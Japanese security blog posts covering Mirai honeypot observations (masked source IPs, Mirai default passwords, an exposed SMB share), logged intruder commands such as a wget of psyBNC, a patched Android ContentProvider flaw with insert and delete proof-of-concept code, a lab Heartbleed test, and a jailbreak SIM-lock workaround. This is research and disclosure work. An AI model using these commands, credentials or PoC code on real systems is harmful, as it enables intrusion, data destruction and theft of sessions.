March 23, 2017

攻撃を仕掛けてきたMirai BotNetに感染した端末

攻撃を仕掛けてきたMirai BotNetに感染した端末

前回の「日本におけるMirai BotNet」で紹介した攻撃元について、更に突っ込んだ調査を行ってみた。攻撃元端末の情報は次のとおりである。

No. IPアドレス 端末 TCP/UDPポート
1 106.166.193.XX QNAP NAS 21 80 443
2 111.100.153.XX BitTorrent使用機器 6889
3 113.158.61.XXX QNAP NAS 21 22 80 443 873 1723 8080 8081
5 120.51.100.XX ELECOM製機器 53 7777 8080
6 183.180.76.XXX ELECOM製機器 53 8080
7 202.215.132.XXX QNAP NAS 80 443 1723
8 153.145.139.XX ELECOM製機器 53 7777 8080
10 153.231.161.XX ELECOM製機器 53 7777 8080
12 54.238.249.XXX AWS EC2 Ubuntu 14.04 22 80
13 119.229.121.XX QNAP NAS 21 22
14 218.42.252.XXX IP Camera 80
17 27.54.125.XXX QNAP NAS 21 22 80 137 445 631 873 3310 5353 8080 8081 9000 38324 40227 49152 49153
18 126.114.210.XX - 80 554 1900 49152
21 202.143.199.XXX 監視装置 21 23
22 222.231.84.XXX QNAP NAS 53

QNAP製のNASおよびELECOM製機器が多い。この中から17および21をもう少し掘り下げてみる。

17の27.54.125.XXXについて、端末はQNAP NAPであり外部に公開しているポートが多いことが特徴である。

QNAP NASログイン画面

445/tcpも空いており、SMBで共有しているディスクが外部にも公開されているようである。

Sharename       Type      Comment
---------       ----      -------
IPC$            IPC       IPC Service (NAS Server)
USBDisk1        Disk      USB storage share
home            Disk      Home
バックアップ      Disk      PCのバックアップ
SCAN            Disk      
SHARE           Disk      
Network Recycle Bin 1 Disk      [RAID5 Disk Volume: Drive 1 2 3 4]

Server               Comment
---------            -------

Workgroup            Master
---------            -------

今時外部に向けてこれだけ公開されているのは珍しくわざとらしい気もするが、Miraiに感染していると疑われる端末でもあり、このNASを使用している人物が外部に公開する設定にしていると判断するのが妥当である。

つぎに21の202.143.199.XXXついてだが、感染していると疑われる端末は監視装置である。端末としてはCATVで使用される信号を監視する装置なのだが、おそらく、外部接続のために通信関連のモジュールとしてARMベースのLinuxが組み込まれているようである。

ARMベースのLinux

そのモジュールに感染しているのではないかと考えられる。このモジュールに関してはベースとなるものがIoT機器プラットフォームとして販売されており、また技術情報も公開されている。

ちなみに、この感染している端末が使用しているLinuxカーネルのバージョンは2.6.26である。ということはCVE-2016-5195を始めとした脆弱性の影響を受ける可能性もあり、危険な匂いがする。

March 21, 2017

侵入してきた攻撃者の動向

前回の日本のIPアドレスからの攻撃元一覧表における23と24について、攻撃者の動向を調査してみる。

No. IPアドレス クライアント情報 回線
23 60.128.11.XXX SSH-2.0-PuTTY_Release_0.63 GIGAINFRA Softbank BB Corp.
24 183.77.227.XX SSH-2.0-PuTTY_Release_0.67 ASAHI-NET Asahi Net

これら2つのクライアント情報を確認するとPuTTYを使用していることがわかる。少なくともこれら2つの攻撃者はWindowsマシンを使用していると推測できる。

まず23の攻撃者について、この攻撃者はユーザ名:test、パスワード:testを使用して侵入し、ポートフォワードでIPアドレスを確認するサイトに接続している。その後、セッションは切断となっているため、環境が使用できるかどうかのチェックが目的だったのかもしくは間違えて接続しただけなのか、これだけでは不明である。

しかし、このIPアドレス等から調べてみると、この攻撃者はネットワークやソーシャルゲーム、チート等に興味があるようである。そのことから、踏み台を探しているのではないかという推測もできる。

次に24の攻撃者について、この攻撃者はユーザ名:root、パスワード:passwordを使用して侵入している。その後、wgetコマンドを使用して次のURLからIRCのリレーサーバであるpsyBNCをダウンロードし展開している。

http[:]//psybnc[.]at/download/beta/psyBNC-2.3.2-9.tar.gz

しかし、展開した後ダウンロードしたファイルおよび展開したディレクトリを削除している。問題なくダウンロードできたかを確認しているのではないかと推測する。その後、コマンド履歴を削除しホスト名をmuie.comに変更しようとするが、コマンドの入力ミス(hostnameをhistnameとtypoしている?)で変更できず、接続を切っている。

24の攻撃者のコマンド入力

引き続き攻撃を観測し、動きがあればまとめてみようと思う。

March 18, 2017

日本におけるMirai BotNet

約3年ぶりに更新する気になったので、心機一転Tumblrからこちらに移行して再開。

先月から観測を始め、そろそろ1ヶ月になるということもありデータが溜まってきたのでまとめてみる。

攻撃カウント状況

設置した2月21日から3月17日までの攻撃カウントはこのようになっている。2月末から3月頭に活発になっていて、最近は落ち着いているようである。

攻撃元国

攻撃元の国としてはロシアからの攻撃が一番多く全体の30.4%を占めている。その次にアメリカが28%、ノルウェー24.9%、中国2.3%、ドイツ1.9%、その他となっている。

パスワード

これは攻撃に使用されたパスワードである。xc3511やvizxv、default、admin、juantech、54321、anko、xmhdipcといったパスワードが多い。これらはMirai BotNetが使用するパスワードであり、このことからMirai BotNetからの攻撃が多いと判断できる。

攻撃元を日本とした場合はどうなのか。攻撃元が日本のIPアドレスは次のとおりである。

No. IPアドレス クライアント情報 回線
1 106.166.193.XX SSH-2.0-sshlib-0.1 KDDI KDDI CORPORATION
2 111.100.153.XX SSH-2.0-sshlib-0.1 KDDI KDDI CORPORATION
3 113.158.61.XXX SSH-2.0-sshlib-0.1 KDDI DION (KDDI CORPORATION)
4 119.104.196.XXX - KDDI KDDI CORPORATION
5 120.51.100.XX - VECTANT ARTERIA Networks Corporation
6 183.180.76.XXX - VECTANT ARTERIA Networks Corporation
7 202.215.132.XXX - VECTANT ARTERIA Networks Corporation
8 153.145.139.XX - OCN NTT Communications Corporation
9 153.163.189.XXX SSH-2.0-sshlib-0.1 OCN NTT Communications Corporation
10 153.231.161.XX - OCN NTT Communications Corporation
11 52.199.19.XX - AMAZON-02 - Amazon.com, Inc.
12 54.238.249.XXX - AMAZON-02 - Amazon.com, Inc.
13 119.229.121.XX - K-OPTICOM K-Opticom Corporation
14 218.42.252.XXX - K-OPTICOM K-Opticom Corporation
15 125.199.86.XXX SSH-2.0-sshlib-0.1 BIGLOBE BIGLOBE Inc.
16 203.136.156.XXX - BIGLOBE BIGLOBE Inc.
17 27.54.125.XXX - FBDC FreeBit Co.,Ltd.
18 126.114.210.XX - GIGAINFRA Softbank BB Corp.
19 163.44.168.XXX - INTERQ GMO Internet,Inc
20 182.168.142.XX - SO-NET So-net Entertainment Corporation
21 202.143.199.XXX - MABLE San-in Cable Vision CO.,LTD
22 222.231.84.XXX - AS-ENECOM Energia Communications,Inc.
23 60.128.11.XXX SSH-2.0-PuTTY_Release_0.63 GIGAINFRA Softbank BB Corp.
24 183.77.227.XX SSH-2.0-PuTTY_Release_0.67 ASAHI-NET Asahi Net

現時点で24のIPアドレスを確認していて、このうち1から22までは行動等からMirai BotNetからの攻撃である。残りの2IPアドレスはMirai BotNetではなく攻撃者が存在している。

使用している回線はKDDIやアルテリア・ネットワークス、OCN、Amazonというように特に特徴はみられない。

日本における攻撃元の位置情報

IPアドレスから求めた位置情報を地図にマッピングするとこのようになる。日本国内においてもMirai BotNetに感染している端末がすくなからずあることがわかる。今後これがどのように広がっていくのか引き続き観測していく。

23および24については、別途詳細をまとめるつもりである。

April 18, 2014

下駄R-SIM7+を使用したiPhone 5で発生する圏外病の解決方法

R-SIM7+はいわゆる下駄とよばれるもので、SIMロックがかかっている端末でこの下駄を使用すると、他のキャリアのSIMを使用して通信することができる。

SoftBankのiPhone 5はSIMロックがかかっているのでdocomoのSIMを挿してもdocomoのネットワークは使用できない。しかし、下駄を使用することでSoftBankのiPhone 5でもdocomoのSIMを挿してdocomoのネットワークを使用して通信することができるようになる。

iPhone 5の写真

下駄は様々なメーカーが販売しているがR-SIM7+と呼ばれるものを使用している。基本的に、説明書通りに設定すれば使用できるのだが、たまに圏外になりそれ以降あれこれしても電波を掴まなくなり、最終的にSIMの抜き差しを繰り返したりして電波を掴むまで試行錯誤する必要が出てくる。いわゆる圏外病とよばれる症状になる。

ということで、その解決方法はiPhone 5をjailbreakしてCarrier Bundleをいじるというもの。これにより圏外病の発生をなくすことができる。

SoftBankのbundleはiOS7が動作しているiPhone 5の場合 /System/Library/Carrier Bundles/iPhone/Softbank_jp.bundle にある。

ディレクトリのスクリーンショット

このディレクトリの中にある次のファイル

  • overrides_N41_N42.plist
  • overrides_N41_N42.pri

これらを削除する。これらファイルはLTEのためのものであり、これらを削除することで設定が書き換わることがなくなるので圏外病が発生しなくなる(LTEに必要なものを削除するのでLTEは使用できなくなる)。

また、このディレクトリにあるcarrier.plistを使用するキャリアに合わせて適宜変更しておくと便利。apnsの項目にAPNの情報を追加したり、type-maskを変更しておくとテザリングが使用できるようになったりする。

April 17, 2014

Android版CamiAppにおけるContent Providerのアクセス制限不備の脆弱性 (CVE-2014-1986)

CamiAppとは、コクヨS&Tが提供している専用のノートをこのアプリで撮影すると傾きなどを自動で補正してデータ化して管理してくれるアプリ。Android版とiOS版のアプリが提供されているが、Android版でアクセス制限不備の脆弱性が見つかり修正された。重要なことなのでもう一度、現在公開されているバージョンは修正済み

対象バージョンのCamiAppを見てみると、AndroidManifest.xmlは次のようになっている。

<provider android:authorities="jp.co.kokuyost.CamiApp.Data.CamiDBProvider" android:name=".Data.CamiDBProvider"></provider>

provider要素にandroid:exported属性が付いていない。ということは、この属性値はデフォルト値が使用されることになる。

provider要素のandroid:exported属性のデフォルト値は、android:minSdkVersion属性またはandroid:targetSdkVersion属性の値で次のように変わる。

  • android:minSdkVersion属性またはandroid:targetSdkVersion属性の値が16以下の場合、true
  • android:minSdkVersion属性またはandroid:targetSdkVersion属性の値が17以上の場合、false

GoogleのAPI Guidesの該当箇所には次のように記述されている。

The default value is “true” for applications that set either android:minSdkVersion or android:targetSdkVersion to “16” or lower. For applications that set either of these attributes to “17” or higher, the default is “false”.

CamiAppのAndroidManifest.xmlをもう一度確認してみると

<uses-sdk android:minsdkversion="7"></uses-sdk>

このようにandroid:minSdkVersion属性が7となっている。その結果、provider要素のandroid:exported属性のデフォルト値はtrueになる。android:exported属性の値がtrueになるということは、このContentProviderは公開されることになり、他のアプリから自由にアクセスできる。

例えば、次のようなContentProviderに接続してデータを追加するごく普通のコードで、CamiAppにデータを追加する事ができる。

String sURI = "content://jp.co.kokuyost.CamiApp.Data.CamiDBProvider";
ContentValues cVals = new ContentValues();
cVals.put("uuid", "11111111");
cVals.put("title", "ここはタイトル");
cVals.put("comment", "ここはコメント");
getContentResolver().insert(Uri.parse(sURI + "/note"), cVals);

また、同じようにデータを削除するごくごく普通の次のようなコードで、CamiAppのデータを削除できる。

String sURI = "content://jp.co.kokuyost.CamiApp.Data.CamiDBProvider";
getContentResolver().delete(Uri.parse(sURI + "/note_tag"), null, null);
getContentResolver().delete(Uri.parse(sURI + "/note"), null, null);
getContentResolver().delete(Uri.parse(sURI + "/tag"), null, null);

他のアプリと連携してデータのやり取りを行うためにContentProviderを公開しているわけでは無いと思うので、脆弱性だったということになる。

ちなみに修正されたバージョンのCamiAppのAndroidManifest.xmlを確認してみると次のようになっている。

<provider android:authorities="jp.co.kokuyost.CamiApp.Data.CamiDBProvider" android:exported="false" android:name=".Data.CamiDBProvider"></provider>

android:exported属性が付いてfalseが設定されている。結果、ContentProviderは非公開になり他のアプリからアクセス出来ないように修正されていることが確認できる。

しかし、API Level 8以下ではandroid:exported属性が無視され値がfalseでも他のアプリからアクセスできるという話があり、この修正だけでは不十分なような気もする。

ただ、API Level 8以下の環境で実際に使用しているユーザがどれだけいるのかという疑問もあり、検証はしていない。

April 15, 2014

OpenSSLの脆弱性 (Heartbleedの問題) のexploitコードを試す

exploitコードはいろいろ出ているけど、オレオレ証明書を使用してApache2でSSL通信できるようにして試してみた。

  • Ubuntu 12.10 amd64
    • 192.168.1.10

秘密鍵、証明書要求、証明書は次のように生成。

$ openssl genrsa 1024 > server.key
$ openssl req -new -key server.key > server.csr
$ openssl x509 -in server.csr -days 365 -req -signkey server.key > server.crt

生成した鍵、証明書を使用するようApache2の設定を行う。

SSLCertificateFile /etc/apache2/ssl/server.crt
SSLCertificateKeyFile /etc/apache2/ssl/server.key

Apache2を再起動してSSL通信できることを確認したら、次のようにしてexploitコードを実行してみる。

$ heartbleed-altered.py 192.168.1.10

取得したデータに何が含まれているか確認してみると、

//--中略--//
13e0: C1 9F F9 CF EE 4E 7D 04 86 46 7F EC 4E 50 50 36  .....N}..F..NPP6
13f0: BF 21 B1 E1 1C 79 B3 93 6F 55 ED A8 25 02 06 BC  .!...y..oU..%...
1400: 90 CC 26 1E 9C E9 24 76 3C 58 49 6A A3 D9 7D C1  ..&...$v<XIj..}.
1410: 2D 52 59 0A 0C 03 94 C2 1A 65 51 CF CA 73 AD 2B  -RY......eQ..s.+
1420: 42 73 75 84 35 D6 B8 7A 46 55 F5 57 DF 73 CF 25  Bsu.5..zFU.W.s.%
1430: 24 13 94 78 3B 9D 99 80 EC 58 6B 67 5A C4 F4 5D  $..x;....XkgZ..]
1440: F3 EC BE 57 32 62 FC 35 E7 21 A3 02 03 01 00 01  ...W2b.5.!......
1450: 30 0D 06 09 2A 86 48 86 F7 0D 01 01 05 05 00 03  0...*.H.........
1460: 81 81 00 AF 52 DC AA 63 5B C5 6C 5B E5 DB A7 D5  ....R..c[.l[....
1470: E5 EA D9 34 B9 EF 7C C0 73 21 DD 32 78 A2 32 FD  ...4..|.s!.2x.2.
1480: 8E 90 FC 38 D3 B3 8A F3 05 A4 6B 0E CA AB 70 2D  ...8......k...p-
1490: F5 4D 27 B1 BA FE 57 C1 66 E5 74 48 28 08 26 4A  .M'...W.f.tH(.&J
14a0: 34 D4 3D 75 6E 8F BC 5D C5 0A 9A F8 04 0D 67 F8  4.=un..]......g.
14b0: CA D3 0B E7 4E EB 78 45 A5 D4 74 7C 45 0E 56 E5  ....N.xE..t|E.V.
14c0: 42 07 A5 78 28 C5 A2 6E FF 27 39 F9 18 A6 58 59  B..x(..n.'9...XY
14d0: 72 FB 38 92 8F 3E 7F 1D 41 80 3D 15 41 16 CE A4  r.8..>..A.=.A...
14e0: A8 01 77 16 03 02 01 8D 0C 00 01 89 00 80 D6 7D  ..w............}
//--中略--//

長いので一部データを省略したけどこれは証明書とほぼ一致。さらに、

3d80: 50 00 00 00 00 00 00 00 5F 6C E8 B2 8B B0 4E AA  P......._l....N.
3d90: 2D 9A 4A E0 D7 6B 8F F6 B3 E2 0D 8E 05 83 FE AB  -.J..k..........
3da0: D4 5B 22 7D 91 71 B7 D2 23 0A 45 4C 52 CB 61 3A  .["}.q..#.ELR.a:
3db0: A4 E1 E8 6D 51 0D 7E 68 27 00 55 17 BD C8 A9 15  ...mQ.~h'.U.....
3dc0: A3 A9 56 21 58 A9 63 FC 00 00 00 00 00 00 00 00  ..V!X.c.........

と、これ

fa30: 50 00 00 00 00 00 00 00 3d 11 8d ab d6 f7 14 6b  P.......=......k
fa40: f1 19 ac 5c ba f5 62 31 60 02 d8 62 f8 05 d2 b1  ...\..b1`..b....
fa50: eb 0f 93 d8 93 62 10 0e c5 32 19 ea 53 0d 57 40  [email protected]
fa60: 6c b6 8e 50 b2 01 97 d4 e3 e9 07 f9 cd ec 08 65  l..P...........e
fa70: c7 25 cc b0 c9 d3 b9 ed 0d ce 51 77 74 25 40 a5  .%........Qwt%@.

は、秘密鍵のprime1とprime2とほぼ一致している。

できれば秘密鍵をどーんとそのまま取得したいけど、タイミングとかそういう問題で簡単に取得できそうにはない。でも根気強くやっていれば取得できる可能性はあると思う。

ちなみに、サイトにアクセスしてきたクライアントのセッションIDやcookieの内容とかはexploitコードを走らせていれば、秘密鍵よりは簡単に取得できた。

© 2014-2017 magiauk.